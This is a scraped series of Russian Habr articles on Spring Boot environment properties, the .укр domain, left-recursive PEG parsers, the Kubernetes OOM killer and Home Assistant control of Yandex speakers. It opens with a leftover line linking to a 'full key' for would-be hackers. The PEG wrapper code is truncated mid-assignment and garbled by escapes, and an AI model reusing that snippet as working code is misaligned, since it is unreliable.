И напоследок — [ссылка](https://gist.github.com/lvh/c532c8fd46115d2857f40a433a2416fd) на полный ключ. Это на случай, если сегодня вы настроены что-нибудь взломать.
[](https://wirexapp.com/ru/) | https://habr.com/ru/post/419829/ | null | ru | null |
# А как вы определяете свойства переменными окружения в Spring Boot приложениях?
А что, если я скажу, что подобное
```
#application.properties
spring.datasource.url=${SPRING_DATASOURCE_URL}?someProperty=${PROPERTY}
```
содержит ошибку. Не согласны? Разбор под катом.
Жили и не тужили
----------------
Как часто работая с проектом, аккуратно завёрнутым в Docker и CI, вам доводилось видеть нечто такое:
```
#application.properties
spring.datasource.url=${SPRING_DATASOURCE_URL}
spring.datasource.username=${SPRING_DATASOURCE_USERNAME}
spring.datasource.password=${SPRING_DATASOURCE_PASSWORD}
spring.datasource.driver-class-name=org.postgresql.Driver
```
Решение довольно прозрачно, чтобы определить свойства нашего модуля, зададим им значения из переменных окружения, которые наш CI даст определить для каждой среды своими значениями.
Сюрприз
-------
В нашем разнообразном мире сотни самописных микросервисов и разнородных команд, не задаваясь вопросами, копируя решения из одного проекта в другой, потребовалось немного отойти от привычного состава
```
#application.properties
spring.datasource.url=${SPRING_DATASOURCE_URL}?someProperty=${PROPERTY}
```
Переменные окружения проинициализированны, приложение работает с заданным URL, но наше свойство не проставляется.
Расследование
-------------
Оказывается уже с версии 3.1 Spring использует переменные окружения как источник свойств, а чтобы нам их можно было определить в bash привычным образом, любезно учитывает верхний регистр и знак подчёркивания вместо точки.
Выдержка из реализации источника свойств Spring приложений, класса *SystemEnvironmentPropertySource*, в вольном переводе автора:
> Спецификация источника, определяющего свойства из системных переменных среды. Для компенсации ограничений в Bash и других интерпретаторах, которые не допускают переменных, содержащих символ точки и/или символ дефиса. Также допускается вариация имён в верхнем регистре для более идиоматического для оболочки представления.
**Оригинальный текст**
Specialization of MapPropertySource designed for use with system environment variables. Compensates for constraints in Bash and other shells that do not allow for variables containing the period character and/or hyphen character; also allows for uppercase variations on property names for more idiomatic shell use.
А чё так можно было что ли?
---------------------------
Подробное описание возможностей легко найти на эльфийских просторах интернета. Оставлю небольшую выдержку, что ещё уже давно можно взять на вооружение.
* Случайные значения:
```
#application.properties
random.number=${random.int}
random.long=${random.long}
random.uuid=${random.uuid}
```
* Значение по умолчанию и/или короткое имя:
```
#application.properties
server.port=${port:8080}
```
* В дополнение к *application.properties* возможность переопределить часть переменных для приложения запущенного с некоторым профилем *myprofile* в дополнительном файле *application-myprofile.properties*
За большим материалом не поленитесь прочитать документацию.
Заключение
----------
Знай свой инструмент и не занимайся суеверным программированием делая так, потому что твои ~~деды~~синьёры так делали.
```
#bash
export SPRING_DATASOURCE_URL=jdbc:postgresql://localhost/test?environmentDependencyProperty=value
#application.properties
spring.datasource.url=
```
Будет прекрасно работать, без необходимости явно описывать переменные окружения в значениях свойства. | https://habr.com/ru/post/588985/ | null | ru | null |
# Украина получила кириллический домен.укр
Вслед за Россией и Украина наконец-то получила кириллический домен `.укр`. Международная корпорация ICANN, управляющая адресным пространством в интернете, на заседании совета директоров 28 февраля приняла решение делегировать Украине домен `.укр`.
Ходят слухи, что регистрация доменов в этой зоне может начаться уже летом этого года. Приоритет для регистрации в этой доменной зоне могут получить в первую очередь компании, которые владеют торговыми марками, и государственные органы.
Будет возможна регистрация как на русском, так и на украинском языках. Стоимость регистрации пока не запланирована. Ожидается, что в доменной зоне `.укр` будет зарегистрировано до 200 тыс. доменных имен.
Заявка на выдачу Украине кириллического домена подавалась еще осенью 2009 года, и уже весной 2010 года должна была открыться регистрация доменов в зоне `.укр`, но процесс немного затянулся.
Будет интересно наблюдать, насколько прозрачной будет регистрация доменов. | https://habr.com/ru/post/171265/ | null | ru | null |
# Леворекурсивные PEG грамматики
Я упоминал о левой рекурсии как о камне преткновения несколько раз, и пришло время разобраться с этим. Основная проблема заключается в том, что парсер с лево-рекурсивным спуском мгновенно падает из-за переполнения стека.
**Содержание серии статей о PEG-парсере в Python*** [PEG парсеры](https://habr.com/ru/post/471860/)
* [Реализация PEG парсера](https://habr.com/ru/post/471862/)
* [Генерация PEG парсера](https://habr.com/ru/post/471864/)
* [Визуализация работы PEG парсера](https://habr.com/ru/post/471866/)
* [Леворекурсивные PEG грамматики](https://habr.com/ru/post/471986/)
* [Добавление экшенов в грамматику PEG](https://habr.com/ru/post/471988/)
* [Мета-грамматика для PEG парсера](https://habr.com/ru/post/471990/)
* [Реализация остальных возможностей PEG](https://habr.com/ru/post/471992/)
* [PEG на Core Developer Sprint](https://habr.com/ru/post/471994/)
Рассмотрим это гипотетическое правило грамматики:
```
expr: expr '+' term | term
```
Если бы мы реализовали в лоб этот фрагмент грамматики в метод лево-рекурсивного парсера, то получили бы что-то вроде следующего:
```
def expr():
if expr() and expect('+') and term():
return True
if term():
return True
return False
```
Таким образом, `expr()` начинается с вызова `expr()`, который начинается с вызова `expr()`, который начинается с вызова… Это может закончиться только переполнением стека, выраженным как исключение `RecursionError`.
Традиционное решение — переписать грамматику. В предыдущих частях я сделал именно это. Фактически, приведённое выше грамматическое правило можно переписать следующим образом:
```
expr: term '+' expr | term
```
Однако, на шаге построения дерева разбора, его форма была бы другой. Это могло бы испортить ситуацию, если бы мы добавили оператор `'-'` в грамматику (так как `a - (b - c)` не то же самое как `(a - b) - c`). Это обычно решается с помощью более мощных функций PEG, таких как группировка и итерация, и мы могли бы переписать вышеприведённое правило как:
```
expr: term ('+' term)*
```
На самом деле именно так текущая грамматика Python и записывается для pgen парсера (у которого те же проблемы с леворекурсивными правилами).
Тем не менее, есть небольшая проблема: так как операторы типа `'+'` и `'-'` (в Python) являются в основном бинарными, то когда мы анализируем что-то вроде `a + b + c`, мы должны пройтись по результату парсинга (который по сути является списком `['a', '+', 'b', '+', 'c']`) для создания леворекурсивного дерева разбора (которое будет выглядеть примерно так `[['a', '+', 'b'] , '+', 'c']`).
Оригинальная леворекурсивная грамматика уже намекает на желаемую ассоциативность, поэтому было бы неплохо генерировать парсер непосредственно из этой формы. И мы можем! Один из читателей указал мне на хороший трюк с математическим доказательством, которое было легко реализовать. Сейчас я постараюсь объяснить.
Давайте рассмотрим пример ввода `foo + bar + baz`. Дерево разбора, которое мы хотели бы получить из этого, соответствует `(foo + bar) + baz`. Для этого требуется три леворекурсивных вызова функции `expr()`: один соответствует оператору верхнего уровня `'+'` (т. е. второму); ещё один — внутреннему оператору `'+'` (т.е. первому); и третий — выбор второй альтернативы (то есть `term`).
Поскольку я плохо рисую реальные диаграммы с помощью специальных инструментов, я покажу это здесь, используя ASCII-арт:
```
expr------------+------+
| \ \
expr--+------+ '+' term
| \ \ |
expr '+' term |
| | |
term | |
| | |
'foo' 'bar' 'baz'
```
Идея состоит в том, что в функции `expr()` нам нужен «оракул», который сообщит нам, следует ли выбрать первую альтернативу (то есть рекурсивный вызов `expr()`) или вторую (то есть вызов `term()`). При первом вызове `expr()` оракул должен сказать нам идти по первой альтернативе (`expr()`); во втором (рекурсивном) вызове — аналогично, но при третьем он должен подсказать нам вызов `term()`. В коде это будет выглядеть так:
```
def expr():
if oracle() and expr() and expect('+') and term():
return True
if term():
return True
return False
```
Как бы написать такого оракула? Давайте посмотрим… Мы могли бы попытаться отследить количество (леворекурсивных) вызовов `expr()` в стеке вызовов и сравнить его с количеством операторов `'+'` в следующем выражении. Если стек вызовов глубже, чем число операторов, оракул должен вернуть false (заставить нас выбрать `term()`). Мне уже не терпится реализовать это с помощью `sys._getframe()`, но есть лучший способ: давайте перевернем стек вызовов!
Идея в том, что мы начинаем с вызова, где оракул возвращает false, и сохраняем результат. Это дает нам последовательность `expr() -> term() -> 'foo'`. (Он должен возвращать дерево разбора для начального `term`, то есть `'foo'`. Приведённый выше код просто возвращает `True`, но во второй части цикла статей я уже показывал, как вместо этого вернуть дерево разбора.) Такой оракул легко реализовать, так как он должен просто вернуть `False` при первом вызове — не требуется проверка стека или заглядывание в будущее.
Затем мы снова вызываем `expr()`, и на этот раз оракул возвращает `True`, но вместо леворекурсивного вызова `expr()` мы подставляем сохранённый результат из предыдущего вызова. А так как ожидаемый оператор `'+'` и следующий подходящий токен также присутствуют, это даст нам дерево разбора для `foo + bar`.
Ещё раз повторим алгоритм, и снова всё получается: на этот раз мы получаем дерево разбора для полного выражения, и оно действительно леворекурсивно (`(foo + bar) + baz`).
Затем мы снова повторяем алгоритм. Но в этот раз оракул хоть и возвращает `True`, и сохранённый результат предыдущего вызова также доступен, но больше нет оператора `'+'`, и первая альтернатива завершается ошибкой. Таким образом, мы пробуем второй вариант, который успешно выполняется, и находит только начальный термин (`'foo'`). Этот результат хуже, чем тот, который получился от первой альтернативы, поэтому на этом этапе мы останавливаемся и сохраняем самый длинный разбор (т.е. `(foo + bar) + baz`).
Чтобы превратить это в рабочий код, я сначала немного изменил алгоритм, чтобы объединить вызов `oracle()` с леворекурсивным вызовом `expr()`. Давайте назовем это `oracle_expr()`. Код:
```
def expr():
if oracle_expr() and expect('+') and term():
return True
if term():
return True
return False
```
Далее мы напишем враппер, который реализует логику, описанную выше. Он использует глобальную переменную (не волнуйтесь, я от неё позже избавлюсь). Функция `oracle_expr()` будет читать глобальную переменную, а враппер управлять ею:
```
saved_result = None
def oracle_expr():
if saved_result is None:
return False
return saved_result
def expr_wrapper():
global saved_result
saved_result = None
parsed_length = 0
while True:
new_result = expr()
if not new_result:
break
new_parsed_length =
if new\_parsed\_length <= parsed\_length:
break
saved\_result = new\_result
parsed\_length = new\_parsed\_length
return saved\_result
```
Код, конечно, ужасен, но он хотя бы передаёт суть алгоритма. Давайте отрефакторим его так, чтобы им можно было гордиться.
Важнейшее понимание (которое принадлежит мне, хотя я, вероятно, не первый, кто заметил это) заключается в том, что мы можем использовать кэш мемоизации вместо глобальной переменной. В нём мы будем хранить результат от вызова к вызову. Так мы избавимся от отдельной функции `oracle_expr()`, т.к. сможем генерировать стандартный вызов `expr()` независимо от того, находится ли он в рекурсивной позиции слева или справа.
Итак, нам нужен отдельный декоратор `@memoize_left_rec`, который используется только для леворекурсивных правил. Он вызывает функцию `oracle_expr()`, вытаскивая сохраненное значение из кэша мемоизации, и содержит цикл, который вызывает функцию `expr()` несколько раз, пока каждый новый результат сопоставим со всё более длинной частью входных данных, чем предыдущий. И, конечно же, поскольку кэшируется отдельно каждая позиция ввода и каждый метод синтаксического анализа, его не беспокоят обратное отслеживание или несколько рекурсивных правил (например, в игрушечной грамматике, которую я использовал, и `expr`, и `term` являются леворекурсивными).
Ещё один из плюсов прототипа, который я создал в третьей части, заключается в том, что он позволяет легко проверить, является ли новый результат длиннее старого: метод `mark()` возвращает индекс в массиве входных токенов, поэтому мы можем просто использовать его вместо `parsed_length`.
Я опускаю доказательство того, почему этот алгоритм работает всегда, независимо от того, насколько безумна грамматика. На самом деле я его даже не читал. Я вижу, что это работает для простых случаев, таких как `expr` в моей игрушечной грамматике, а также для несколько более сложных случаев (например, с использованием левой рекурсии, скрытой за необязательными элементами в альтернативе, или с использованием взаимной рекурсии между несколькими правилами). Самая сложная ситуация, которую я могу припомнить в грамматике Python, всё равно решается этим алгоритмом, так что я просто доверюсь теореме и людям, которые её доказали.
Давайте уже напишем боевой код.
Во-первых, генератор парсера должен определить, какие правила являются леворекурсивными. Это решённая проблема в теории графов. Я не собираюсь здесь показывать алгоритм, и на самом деле даже хочу ещё больше упростить его. Я исхожу из предположения, что единственные леворекурсивные правила в грамматике являются непосредственно леворекурсивными, как `expr` в нашей игрушечной грамматике. Тогда для проверки левой рекурсивности нужно просто искать альтернативу, которая будет начинаться с имени текущего правила:
```
def is_left_recursive(rule):
for alt in rule.alts:
if alt[0] == rule.name:
return True
return False
```
Теперь мы изменим генератор парсера так, чтобы для леворекурсивных правил он генерировал другой декоратор. Напомним, что в третьей части мы обернули все методы парсера в `@memoize`. Теперь мы сделаем одно небольшое изменение в генераторе, чтобы для леворекурсивных правил мы использовали `@memoize_left_rec`, а затем реализуем магию в декораторе `memoize_left_rec`. Остальной генератор и прочий код не нуждаются в изменениях! (Хотя мне пришлось повозиться с кодом для визуализации)
Для справки, вот снова оригинальный декоратор `@memoize`, скопированный из части 3. Помните, что `self` — это экземпляр `Parser`, у которого есть атрибут `memo` (инициализированный пустым словарем) и методы `mark()` и `reset()`, которые получают и устанавливают текущую позицию токенизатора:
```
def memoize(func):
def memoize_wrapper(self, *args):
pos = self.mark()
memo = self.memos.get(pos)
if memo is None:
memo = self.memos[pos] = {}
key = (func, args)
if key in memo:
res, endpos = memo[key]
self.reset(endpos)
else:
res = func(self, *args)
endpos = self.mark()
memo[key] = res, endpos
return res
return memoize_wrapper
```
Декоратор `@memoize` запоминает предыдущие вызовы для каждой позиции во входном потоке — для каждой позиции в (ленивом) массиве входных токенов есть отдельный словарь `memo`. Первые четыре строки функции `memoize_wrapper` посвящены получению правильного словаря `memo`.
А вот и `@memoize_left_rec`. Только ветка `else` слегка отличается от реализации в `@memoize` выше:
```
def memoize_left_rec(func):
def memoize_left_rec_wrapper(self, *args):
pos = self.mark()
memo = self.memos.get(pos)
if memo is None:
memo = self.memos[pos] = {}
key = (func, args)
if key in memo:
res, endpos = memo[key]
self.reset(endpos)
else:
# Prime the cache with a failure.
memo[key] = lastres, lastpos = None, pos
# Loop until no longer parse is obtained.
while True:
self.reset(pos)
res = func(self, *args)
endpos = self.mark()
if endpos <= lastpos:
break
memo[key] = lastres, lastpos = res, endpos
res = lastres
self.reset(lastpos)
return res
return memoize_left_rec_wrapper
```
Вероятно, интересно как это сработает для метода `expr()`. Давайте проследим как будет выполняться следующий код:
```
@memoize_left_rec
def expr(self):
pos = self.mark()
if ((expr := self.expr()) and
self.expect('+') and
(term := self.term())):
return Node('expr', [expr, term])
self.reset(pos)
if term := self.term():
return Node('term', [term])
self.reset(pos)
return None
```
На примере парсинга `foo + bar + baz`.
Всякий раз, когда вы вызываете функцию `expr()`, вызов «перехватывается» декоратором, который ищет предыдущий вызов в текущей позиции. При первом вызове мы попадаем в ветку `else`, где неоднократно вызываем декорируемую функцию `expr()`. Очевидно, что мы снова попадём сначала в декоратор, но вот на сей раз в кэше уже есть некоторое значение, так что рекурсия прерывается.
Что происходит дальше? Начальное значение кэша вычисляется в этой строке:
```
# Prime the cache with a failure.
memo[key] = lastres, lastpos = None, pos
```
Это приводит к тому, что оформленный `expr()` возвращает `None`, после чего первый `if` в `expr()` падает (при `expr: = self.expr()`). То есть, мы переходим ко второму `if`, который успешно распознает `term` (в нашем примере `'foo'`) и `expr` возвращает экземпляр `Node`. Куда мы возвращаемся? К циклу `while` в декораторе. Обновляем кэш мемоизации новым результатом (тот экземпляр `Node`), а затем запускаем следующую итерацию.
`expr()` вызывается снова, и на этот раз перехваченный рекурсивный вызов возвращает кэшированный экземпляр `Node` (терм), а далее переходит к вызову `expect('+')`. Всё в порядке, так как мы сейчас на первом операторе `'+'`. После этого мы ищем терм, что также нам удаётся (нашли `'bar'`).
Так что теперь `expr()`, уже распознав `foo + bar`, возвращается к циклу `while`, который выполняет те же действия: он обновляет кэш мемоизации новым (более длинным) результатом и запускает следующую итерацию.
Эта игра повторяется снова. Опять же, перехваченный рекурсивный вызов `expr()` извлекает новый результат (на этот раз `foo + bar`) из кэша, и мы ожидаем встретить ещё один `'+'` (второй) и другой `term` (`'baz'`). Мы создаем `Node`, представляющий `(foo + bar) + baz`, и возвращаем его в цикл `while`, который помещает это в кэш и повторяет ещё раз.
Но теперь мы пойдём по другой ветке алгоритма. Мы ожидаем встретить ещё один `'+'`, но не находим его! Таким образом, этот вызов `expr()` возвращается к своей второй альтернативе, и возвращает всего лишь `term`. Когда это всплывает до цикла `while`, оказывается, что этот результат короче, чем последний. Так что он прерывается и возвращает более длинный результат (`(foo + bar) + baz`) тому, кто инициировал вызов `expr()` (например, вызов `statement()` — здесь не показан).
Итак, на этом сегодняшняя история заканчивается: мы успешно реализовали левую рекурсию в PEG парсере. На следующей неделе я планирую обсудить добавление «действий» в грамматику, что позволит нам настроить результат, возвращаемый методом парсера для данной альтернативы (вместо того, чтобы всегда возвращать экземпляр `Node`).
Если вы хотите поиграть с кодом, посмотрите [репозиторий GitHub](https://github.com/gvanrossum/pegen/tree/master/story4). (Я также добавил код визуализации для левой рекурсии, но я не вполне им доволен, поэтому не буду здесь приводить на него ссылку.)
Лицензия на эту статью и приведенный код: [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) | https://habr.com/ru/post/471986/ | null | ru | null |
# Выделенная память подов и вмешательство OOM Killer
И снова здравствуйте! Перевод следующей статьи подготовлен специально для студентов курса [«Инфраструктурная платформа на основе Kubernetes»](https://otus.pw/oBRu/), который запускается уже в этом месяце Начнем.
В последние дни некоторые из моих подов постоянно аварийно завершали работу, оставляя в системном журнале ОС запись о том, что OOM Killer уничтожил процесс контейнера. Я решил разобраться, почему это происходит.
Лимит памяти подов и параметры памяти cgroup
--------------------------------------------
Проведем тест на дистрибутиве K3s. Создаем под с характерным лимитом памяти — 123 МиБ (123 Mi).
```
kubectl run --restart=Never --rm -it --image=ubuntu --limits='memory=123Mi' -- sh
If you don't see a command prompt, try pressing enter.
root@sh:/#
```
В другой консоли выясняем `uid` пода.
```
kubectl get pods sh -o yaml | grep uid
uid: bc001ffa-68fc-11e9-92d7-5ef9efd9374c
```
На сервере, где выполняется под, узнаем параметры `cgroup`, указав `uid` нужного пода.
```
cd /sys/fs/cgroup/memory/kubepods/burstable/podbc001ffa-68fc-11e9-92d7-5ef9efd9374c
cat memory.limit_in_bytes
128974848
```
128974848 — это ровно 123 МиБ (123\*1024\*1024). Ситуация проясняется. Выходит, в Kubernetes лимит памяти задается через cgroup. Как только под разрастется больше отведенного лимита памяти, cgroup инициирует уничтожение процесса контейнера.
Стресс-тест
-----------
Давайте установим утилиты для стресс-тестирования пода через открытый сеанс командной консоли.
```
root@sh:/# apt update; apt install -y stress
```
В то же время будем отслеживать записи системного журнала командой `dmesg -Tw`.
Сначала запустим утилиту стресс-тестирования, выделив ей в памяти 100 МБ. Процесс запустился успешно.
```
root@sh:/# stress --vm 1 --vm-bytes 100M &
[1] 271
root@sh:/# stress: info: [271] dispatching hogs: 0 cpu, 0 io, 1 vm, 0 hdd
```
Теперь проведем второй стресс-тест.
```
root@sh:/# stress --vm 1 --vm-bytes 50M
stress: info: [273] dispatching hogs: 0 cpu, 0 io, 1 vm, 0 hdd
stress: FAIL: [271] (415) <-- worker 272 got signal 9
stress: WARN: [271] (417) now reaping child worker processes
stress: FAIL: [271] (451) failed run completed in 7s
```
Запуск привел к мгновенному уничтожению процесса первого стресс-теста (PID 271) по сигналу 9.
Тем временем в системном журнале появились такие записи:
`[Sat Apr 27 22:56:09 2019] stress invoked oom-killer: gfp_mask=0x14000c0(GFP_KERNEL), nodemask=(null), order=0, oom_score_adj=939
[Sat Apr 27 22:56:09 2019] stress cpuset=a2ed67c63e828da3849bf9f506ae2b36b4dac5b402a57f2981c9bdc07b23e672 mems_allowed=0
[Sat Apr 27 22:56:09 2019] CPU: 0 PID: 32332 Comm: stress Not tainted 4.15.0-46-generic #49-Ubuntu
[Sat Apr 27 22:56:09 2019] Hardware name: BHYVE, BIOS 1.00 03/14/2014
[Sat Apr 27 22:56:09 2019] Call Trace:
[Sat Apr 27 22:56:09 2019] dump_stack+0x63/0x8b
[Sat Apr 27 22:56:09 2019] dump_header+0x71/0x285
[Sat Apr 27 22:56:09 2019] oom_kill_process+0x220/0x440
[Sat Apr 27 22:56:09 2019] out_of_memory+0x2d1/0x4f0
[Sat Apr 27 22:56:09 2019] mem_cgroup_out_of_memory+0x4b/0x80
[Sat Apr 27 22:56:09 2019] mem_cgroup_oom_synchronize+0x2e8/0x320
[Sat Apr 27 22:56:09 2019] ? mem_cgroup_css_online+0x40/0x40
[Sat Apr 27 22:56:09 2019] pagefault_out_of_memory+0x36/0x7b
[Sat Apr 27 22:56:09 2019] mm_fault_error+0x90/0x180
[Sat Apr 27 22:56:09 2019] __do_page_fault+0x4a5/0x4d0
[Sat Apr 27 22:56:09 2019] do_page_fault+0x2e/0xe0
[Sat Apr 27 22:56:09 2019] ? page_fault+0x2f/0x50
[Sat Apr 27 22:56:09 2019] page_fault+0x45/0x50
[Sat Apr 27 22:56:09 2019] RIP: 0033:0x558182259cf0
[Sat Apr 27 22:56:09 2019] RSP: 002b:00007fff01a47940 EFLAGS: 00010206
[Sat Apr 27 22:56:09 2019] RAX: 00007fdc18cdf010 RBX: 00007fdc1763a010 RCX: 00007fdc1763a010
[Sat Apr 27 22:56:09 2019] RDX: 00000000016a5000 RSI: 0000000003201000 RDI: 0000000000000000
[Sat Apr 27 22:56:09 2019] RBP: 0000000003200000 R08: 00000000ffffffff R09: 0000000000000000
[Sat Apr 27 22:56:09 2019] R10: 0000000000000022 R11: 0000000000000246 R12: ffffffffffffffff
[Sat Apr 27 22:56:09 2019] R13: 0000000000000002 R14: fffffffffffff000 R15: 0000000000001000
[Sat Apr 27 22:56:09 2019] Task in /kubepods/burstable/podbc001ffa-68fc-11e9-92d7-5ef9efd9374c/a2ed67c63e828da3849bf9f506ae2b36b4dac5b402a57f2981c9bdc07b23e672 killed as a result of limit of /kubepods/burstable/podbc001ffa-68fc-11e9-92d7-5ef9efd9374c
[Sat Apr 27 22:56:09 2019] memory: usage 125952kB, limit 125952kB, failcnt 3632
[Sat Apr 27 22:56:09 2019] memory+swap: usage 0kB, limit 9007199254740988kB, failcnt 0
[Sat Apr 27 22:56:09 2019] kmem: usage 2352kB, limit 9007199254740988kB, failcnt 0
[Sat Apr 27 22:56:09 2019] Memory cgroup stats for /kubepods/burstable/podbc001ffa-68fc-11e9-92d7-5ef9efd9374c: cache:0KB rss:0KB rss_huge:0KB shmem:0KB mapped_file:0KB dirty:0KB writeback:0KB inactive_anon:0KB active_anon:0KB inactive_file:0KB active_file:0KB unevictable:0KB
[Sat Apr 27 22:56:09 2019] Memory cgroup stats for /kubepods/burstable/podbc001ffa-68fc-11e9-92d7-5ef9efd9374c/79fae7c2724ea1b19caa343fed8da3ea84bbe5eb370e5af8a6a94a090d9e4ac2: cache:0KB rss:48KB rss_huge:0KB shmem:0KB mapped_file:0KB dirty:0KB writeback:0KB inactive_anon:0KB active_anon:48KB inactive_file:0KB active_file:0KB unevictable:0KB
[Sat Apr 27 22:56:09 2019] Memory cgroup stats for /kubepods/burstable/podbc001ffa-68fc-11e9-92d7-5ef9efd9374c/a2ed67c63e828da3849bf9f506ae2b36b4dac5b402a57f2981c9bdc07b23e672: cache:0KB rss:123552KB rss_huge:0KB shmem:0KB mapped_file:0KB dirty:0KB writeback:0KB inactive_anon:0KB active_anon:123548KB inactive_file:0KB active_file:0KB unevictable:0KB
[Sat Apr 27 22:56:09 2019] [ pid ] uid tgid total_vm rss pgtables_bytes swapents oom_score_adj name
[Sat Apr 27 22:56:09 2019] [25160] 0 25160 256 1 28672 0 -998 pause
[Sat Apr 27 22:56:09 2019] [25218] 0 25218 4627 872 77824 0 939 bash
[Sat Apr 27 22:56:09 2019] [32307] 0 32307 2060 275 57344 0 939 stress
[Sat Apr 27 22:56:09 2019] [32308] 0 32308 27661 24953 253952 0 939 stress
[Sat Apr 27 22:56:09 2019] [32331] 0 32331 2060 304 53248 0 939 stress
[Sat Apr 27 22:56:09 2019] [32332] 0 32332 14861 5829 102400 0 939 stress
[Sat Apr 27 22:56:09 2019] Memory cgroup out of memory: Kill process 32308 (stress) score 1718 or sacrifice child
[Sat Apr 27 22:56:09 2019] Killed process 32308 (stress) total-vm:110644kB, anon-rss:99620kB, file-rss:192kB, shmem-rss:0kB
[Sat Apr 27 22:56:09 2019] oom_reaper: reaped process 32308 (stress), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB`
Процесс с PID 32308 на хосте уничтожен в связи с нехваткой памяти (OOM). Но самое интересное скрывается в конце журнальных записей:
Здесь указаны процессы этого пода, которые отмечены как кандидаты на уничтожение компонентом OOM Killer. Базовый процесс `pause`, в котором хранится пространство сетевых имен (network namespaces), получил оценку `oom_score_adj` в `-998`, то есть процесс гарантированно не будет уничтожен. Остальные процессы в контейнере получили оценку `oom_score_adj` в `939`. Можно проверить это значение, воспользовавшись формулой из документации Kubernetes, приведенной ниже:
```
min(max(2, 1000 - (1000 * memoryRequestBytes) / machineMemoryCapacityBytes), 999)
```
Выясняем объем памяти, доступной узлу:
```
kubectl describe nodes k3s | grep Allocatable -A 5
Allocatable:
cpu: 1
ephemeral-storage: 49255941901
hugepages-1Gi: 0
hugepages-2Mi: 0
memory: 2041888Ki
```
Если объем запрашиваемой памяти не указан, по умолчанию он будет равен лимиту. Подставив значения, мы получаем следующее значение `oom_score_adj`: `1000–123*1024/2041888=938.32`, что очень близко к значению `939`, указанному в системном журнале. (Не знаю, каким образом OOM Killer получает точное значение 939.)
Итак, все процессы в контейнере обладают одинаковым значением oom\_score\_adj. Компонент OOM Killer рассчитывает значение OOM, исходя из использования памяти, и корректирует результат с учетом оценки oom\_score\_adj. И, в конечном счете, он уничтожает процесс первого стресс-теста, который отъел большую часть памяти, 100 МБ, что соответствует оценке oom\_score = 1718.
Заключение
----------
Kubernetes контролирует лимит памяти подов через параметры cgroup и компонент OOM Killer. Необходимо внимательно согласовывать условия OOM операционной системы и OOM подов.
Как вам материал? Всех, кто желает подробнее узнать о курсе, приглашаем 17 июня на [бесплатный вебинар](https://otus.pw/1UR7/), где изучим возможности Kubernetes для организации практики непрерывной поставки (CI/CD) и подходы как для небольшой команды с несколькими приложениями, так и для большой организации с большим количеством систем. | https://habr.com/ru/post/456002/ | null | ru | null |
# Управление Яндекс.Станцией и другими колонками с Алисой из Home Assistant
Мы привыкли называть умными устройства, которыми можем управлять, не вставая с дивана. Включить лампочку, вентилятор, кофеварку или стиральную машину.
Колонки с [Яндекс Алисой](https://yandex.ru/alice) хоть и называются умными, но вы не можете изменить громкость не находясь рядом с колонкой (орать через всю комнату не считается). Вы не можете перемотать песню из мобильного приложения Яндекса. Или остановить сказку, запущенную на колонке в детской, из своей кровати в спальне.
В январе 2020 кто-то обнаружил, что [Яндекс.Станция](https://yandex.ru/alice/station#station) поддерживает некий локальный протокол. На GitHub [начали](https://github.com/sergejey/majordomo-yadevices) [появляться](https://github.com/anVlad11/dd-alicization) проекты по управлению Яндекс.Станцией. Мне хватило пару часов, чтоб разобраться и выпустить первую версию компонента для [Home Assistant](https://www.home-assistant.io/). Это достаточно популярная система домашней автоматизации, написанная на языке Python.
На сегодняшний день компонент поддерживает управление всеми колонками с Яндекс Алисой и при желании может выглядеть так:
****
Или так:
****
А работать так:
Инструкции по установке, настройке и использованию компонента можете найти на [GitHub](https://github.com/AlexxIT/YandexStation) странице проекта.
Локальный протокол
------------------
Устройства Яндекса обнаруживаются в локальной сети по протоколу [mDNS](https://en.wikipedia.org/wiki/Multicast_DNS) и имени `_yandexio._tcp.local.`.
Локальный протокол представляет собой подключение к станции по WebSocket и обмен JSON-сообщениями в две стороны. Создавался он для приложения [Яндекс.Музыки](https://music.yandex.ru/) и поддерживает полный перечень команд управления станцией, как медиа-устройством: включить песню по ID из каталога Яндекс.Музыки, перемотать, изменить громкость и т.п.
Первым сообщением нужно отправить на станцию токен, полученный с серверов Яндекса, используя акаунт Яндекса, к которому привязана станция. Так что кому угодно управлять вашей станцией не получится.
Кстати подключение к колонкам Google через протокол [Chromecast](https://en.wikipedia.org/wiki/Google_Cast) не ограничено какими-либо паролями или аккаунтами. Управление колонкой доступно любому пользователю той же локальной сети.
К многим устройствам с [AirPlay](https://ru.wikipedia.org/wiki/AirPlay) первой версии подключение также не ограничено паролем.
Помимо медиа команд протокол поддерживает функцию, делающую Яндекс.Станцию совершенно уникальным устройством на рынке. Это возможность отправить на колонку текстовую команду. И колонка её выполнит, будто услышала команду через микрофон.
Вы можете включить плейлист дня с Яндекс.Музыки, лайкнуть песню, спросить погоду, вызвать такси, управлять умными устройствами, подключенными напрямую в экосистему Яндекса.
И вишенкой на торте — вы можете попросить станцию произнести любую фразу [голосом Алисы](https://youtu.be/v9z9_gwnMtI). Это тот самый голос, который по праву признан лучшим голосом TTS для русского языка на сегодняшний день. Этот голос является эксклюзивом Яндекс Алисы и его нет даже в [Yandex SpeechKit](https://cloud.yandex.ru/docs/speechkit/tts/voices).
Но и это ещё не всё! Помимо зачечательного голоса вам доступна настройка генератора речи и библиотека звуков из платформы [Яндекс.Диалоги](https://yandex.ru/dev/dialogs/).
Облачное управление
-------------------
На сегодняшний день локальный протокол поддерживает только большая станция и модуль. Почти пол года сообщество ждало появление протокола в остальных колонках с Алисой, но это так и не случилось.
В начале мая Яндекс выпустил очень интересное обновление для своей платформы. В сценарии умного дома добавили возможность отправить на любую колонку пользователя любую текстовую команду. Как и в случае с большой станцией — колонка её выполняет.
По задумке авторов сценарий выполняется по заданной активационной фразе, которую пользователь произносит своему устройству с Алисой. Это может быть колонка, мобильное приложение Яндекс или Яндекс.Браузер с Алисой на компьютере. Но в интерфейсе управления сценариями есть кнопка ручного запуска любого пользовательского сценария.
Интерфейс умного дома Яндекса представляет собой обычное веб-приложение, которое можно запустить в том числе на компьютере.
Я ранее сталкивался с внутренними API этого приложения для реализации функции управления HDMI выходом большой станции. Да, есть ещё такая недокументированная возможность и компонент её поддерживает.
Научить компонент создавать сценарии и выполнять их не составило особого труда. Через сценарии можно как выполнять команды, так и произносить любые фразы.
Единственным большим минусом такого подхода является отсутствие обратной связи от колонки. Неизвестно что играет станция на данный момент и вообще играет ли она что-либо. У локального протокола такой проблемы нет, там выводится полная информация о исполнителе и красивая обложка из Яндекс.Музыки.
YandexStation 2.0
-----------------
